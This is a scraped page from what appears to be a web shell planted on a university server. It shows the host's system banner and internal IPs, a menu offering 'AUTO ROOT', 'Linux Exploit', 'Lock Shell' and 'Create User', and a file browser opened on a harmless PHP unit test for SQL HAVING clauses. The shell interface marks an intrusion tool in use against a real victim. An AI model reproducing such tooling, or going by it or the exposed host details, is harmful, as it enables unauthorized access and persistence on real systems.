Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
opt /
lampp /
lib /
php /
test /
MDB_QueryTool /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
simpletest_tests
[ DIR ]
drwxr-xr-x
Common.php
1.28
KB
-rw-r--r--
config.php
2.33
KB
-rw-r--r--
GetAllTest.php
1.86
KB
-rw-r--r--
GetCountTest.php
2.33
KB
-rw-r--r--
GetQueryStringTest.php
1.19
KB
-rw-r--r--
GetTest.php
5.66
KB
-rw-r--r--
HavingTest.php
5
KB
-rw-r--r--
LimitTest.php
2.01
KB
-rw-r--r--
SetDbInstanceTest.php
1.38
KB
-rw-r--r--
sql.php
3.38
KB
-rw-r--r--
TestCase.php
1.5
KB
-rw-r--r--
WhereTest.php
2.01
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : HavingTest.php
<?php // // $Id: HavingTest.php 322087 2012-01-11 18:32:28Z danielc $ // require_once dirname(__FILE__) . '/TestCase.php'; class tests_HavingTest extends tests_TestCase { function test_setHaving() { // which company has exactly 2 workers??? $userIds = array(); $user = new tests_Common(TABLE_USER); $newData = array( 'login' => 'hans', 'password' => '0', 'name' => 'Hans Dampf', 'address_id'=> 0, 'company_id'=> 1 ); $userIds[] = $user->add( $newData ); $user->reset(); $user->setWhere('id IN ('.implode(', ', $userIds).')'); $user->setGroup('company_id'); $user->setHaving('count(id) = 2'); $this->assertEquals(array(), $user->getCol('company_id')); // there are no company with 2 workers $newData = array( 'login' => 'rudi', 'password' => '0', 'name' => 'Rudi Ratlos', 'address_id'=> 0, 'company_id'=> 1 ); $userIds[] = $user->add( $newData ); $newData = array( 'login' => 'susi', 'password' => '0', 'name' => 'Susi Sorglos', 'address_id'=> 0, 'company_id'=> 5 ); $userIds[] = $user->add( $newData ); $user->reset(); $user->setWhere('id IN ('.implode(', ', $userIds).')'); $user->setGroup('company_id'); $user->setHaving('count(id) = 2'); $this->assertEquals(array(1), $user->getCol('company_id')); // company 1 has exactly 2 workers $newData = array( 'login' => 'lieschen', 'password' => '0', 'name' => 'Lieschen Mueller', 'address_id'=> 0, 'company_id'=> 5 ); $userIds[] = $user->add( $newData ); $user->reset(); $user->setWhere('id IN ('.implode(', ', $userIds).')'); $user->setGroup('company_id'); $user->setHaving('count(id) = 2'); $this->assertEquals(array(1, 5), $user->getCol('company_id')); // company 1 and 5 has exactly 2 workers } function test_addHaving() { // which companies has more than one worker one the same place and the company_id must be greater than 1 $userIds = array(); $user = new tests_Common(TABLE_USER); $newData = array( 'login' => 'hans', 'password' => '0', 'name' => 'Hans Dampf', 'address_id'=> 1, 'company_id'=> 1 ); $userIds[] = $user->add( $newData ); $newData = array( 'login' => 'rudi', 'password' => '0', 'name' => 'Rudi Ratlos', 'address_id'=> 1, 'company_id'=> 1 ); $userIds[] = $user->add( $newData ); $newData = array( 'login' => 'susi', 'password' => '0', 'name' => 'Susi Sorglos', 'address_id'=> 2, 'company_id'=> 3 ); $userIds[] = $user->add( $newData ); $newData = array( 'login' => 'lieschen', 'password' => '0', 'name' => 'Lieschen Mueller', 'address_id'=> 3, 'company_id'=> 5 ); $userIds[] = $user->add( $newData ); $newData = array( 'login' => 'werner', 'password' => '0', 'name' => 'Werner Lehmann', 'address_id'=> 3, 'company_id'=> 5 ); $userIds[] = $user->add( $newData ); $user->setGroup('company_id,address_id'); $user->setHaving('COUNT(address_id) > 1'); $user->addHaving('company_id > 1'); $this->assertEquals(array(5), $user->getCol('company_id')); // first test $user->reset(); $user->setGroup('company_id,address_id'); $user->addHaving('COUNT(address_id) > 1'); // this is not correct but must also work. $user->addHaving('company_id > 1'); $this->assertEquals(array(5), $user->getCol('company_id')); // second test } function test_getHaving() { $user = new tests_Common(TABLE_USER); $having_string = 'COUNT(id) = 10'; $user->setHaving($having_string); $this->assertEquals($having_string, $user->getHaving()); } } ?>
Close